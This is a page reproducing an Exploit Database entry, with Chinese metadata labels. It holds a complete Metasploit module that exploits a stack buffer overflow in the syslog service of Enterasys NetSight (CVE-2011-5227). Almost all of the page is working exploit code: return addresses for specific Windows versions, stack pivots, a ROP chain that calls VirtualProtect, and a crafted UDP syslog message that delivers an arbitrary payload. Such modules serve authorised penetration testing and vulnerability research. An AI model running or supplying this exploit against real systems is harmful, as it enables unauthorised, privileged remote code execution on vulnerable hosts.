Enterasys NetSight – ‘nssyslogd.exe’ Remote Buffer Overflow (Metasploit)

• Exploit Database
• 15 阅读

• 作者： Metasploit
  日期： 2013-01-04
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/23887/

• ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # web site for more information on licensing and terms of use.
  # http://metasploit.com/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = NormalRanking
  
  	include Msf::Exploit::Remote::Udp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Enterasys NetSight nssyslogd.exe Buffer Overflow',
  			'Description'=> %q{
  					This module exploits a stack buffer overflow in Enterasys NetSight. The
  				vulnerability exists in the Syslog service (nssylogd.exe) when parsing a specially
  				crafted PRIO from a syslog message. The module has been tested successfully on
  				Enterasys NetSight 4.0.1.34 over Windows XP SP3 and Windows 2003 SP2.
  			},
  			'Author' =>
  				[
  					'Jeremy Brown', # Vulnerability discovery
  					'rgod <rgod[at]autistici.org>', # Vulnerability discovery
  					'juan vazquez' # Metasploit module
  				],
  			'References' =>
  				[
  					['CVE', '2011-5227'],
  					['OSVDB', '77971'],
  					['BID', '51124'],
  					['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-350/'],
  					['URL', 'https://cp-enterasys.kb.net/article.aspx?article=14206&p=1']
  				],
  			'Payload'=>
  				{
  					'BadChars' => "\x00",
  					'Space' => 3000,
  					'DisableNops' => true,
  					'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					['Enterasys NetSight 4.0.1.34 / Windows XP SP3',
  						{
  							'Offset' => 43,
  							'Ret' => 0x77c4e444 # ADD ESP,30 # POP EDX # RETN # from msvcrt
  						}
  					],
  					['Enterasys NetSight 4.0.1.34 / Windows 2003 SP2',
  						{
  							'Offset' => 43,
  							'Ret' => 0x77bdf444 # ADD ESP,30 # POP EDX # RETN # from msvcrt
  						}
  					]
  				],
  			'Privileged' => true,
  			'DisclosureDate' => 'Dec 19 2011',
  			'DefaultTarget'=> 1
  			))
  
  		register_options([ Opt::RPORT(514) ], self.class)
  	end
  
  	def junk(n=4)
  		return rand_text_alpha(n).unpack("V")[0].to_i
  	end
  
  	def nop
  		return make_nops(4).unpack("V")[0].to_i
  	end
  
  	def get_stackpivot
  		stack_pivot = ''
  		case target.name
  		when /Windows XP SP3/
  			stack_pivot << [0x77c4e448].pack("V") #ret
  			stack_pivot << [0x77c4e448].pack("V") #ret
  			stack_pivot << [0x77c4e448].pack("V") #ret
  			stack_pivot << [0x77c4e448].pack("V") #ret
  			stack_pivot << [0x77c4e444].pack("V") # ADD ESP,30 # POP EDX # RETN
  		when /Windows 2003 SP2/
  			stack_pivot << [0x77bdf448].pack("V") #ret
  			stack_pivot << [0x77bdf448].pack("V") #ret
  			stack_pivot << [0x77bdf448].pack("V") #ret
  			stack_pivot << [0x77bdf448].pack("V") #ret
  			stack_pivot << [0x77bdf444].pack("V") # ADD ESP,30 # POP EDX # RETN
  		end
  		return stack_pivot
  	end
  
  	def get_payload
  		my_payload = ''
  
  		case target.name
  		when /Windows XP SP3/
  			jmp_esp = [0x77c35459].pack("V")
  			my_payload << jmp_esp
  		when /Windows 2003 SP2/
  			rop_gadgets =
  				[
  					0x77bb2563, # POP EAX # RETN
  					0x77ba1114, # <- *&VirtualProtect()
  					0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
  					junk,
  					0x77bb0c86, # XCHG EAX,ESI # RETN
  					0x77bc9801, # POP EBP # RETN
  					0x77be2265, # ptr to 'push esp #ret'
  					0x77bb2563, # POP EAX # RETN
  					#0x03C0990F,
  					0x03c09f0f,
  					0x77bdd441, # SUB EAX, 03c0940f(dwSize, 0xb00 -> ebx)
  					0x77bb48d3, # POP EBX, RET
  					0x77bf21e0, # .data
  					0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
  					0x77bbfc02, # POP ECX # RETN
  					0x77bef001, # W pointer (lpOldProtect) (-> ecx)
  					0x77bd8c04, # POP EDI # RETN
  					0x77bd8c05, # ROP NOP (-> edi)
  					0x77bb2563, # POP EAX # RETN
  					0x03c0984f,
  					0x77bdd441, # SUB EAX, 03c0940f
  					0x77bb8285, # XCHG EAX,EDX # RETN
  					0x77bb2563, # POP EAX # RETN
  					nop,
  					0x77be6591, # PUSHAD # ADD AL,0EF # RETN
  				].pack("V*")
  			my_payload << rop_gadgets
  		end
  
  		my_payload << payload.encoded
  		return my_payload
  	end
  
  	def exploit
  		connect_udp
  
  		prio = "<"
  		prio << rand_text_alpha(19)
  		prio << get_stackpivot
  		prio << rand_text_alpha(4)
  		prio << [target.ret].pack("V")
  		prio << ">"
  
  		message = prio
  		message << rand_text_alpha(9 + (15 - Rex::Socket.source_address(datastore['RHOST']).length)) # Allow to handle the variable offset due to the source ip length
  		message << get_payload
  
  		print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...")
  		udp_sock.put(message)
  
  		disconnect_udp
  	end
  
  end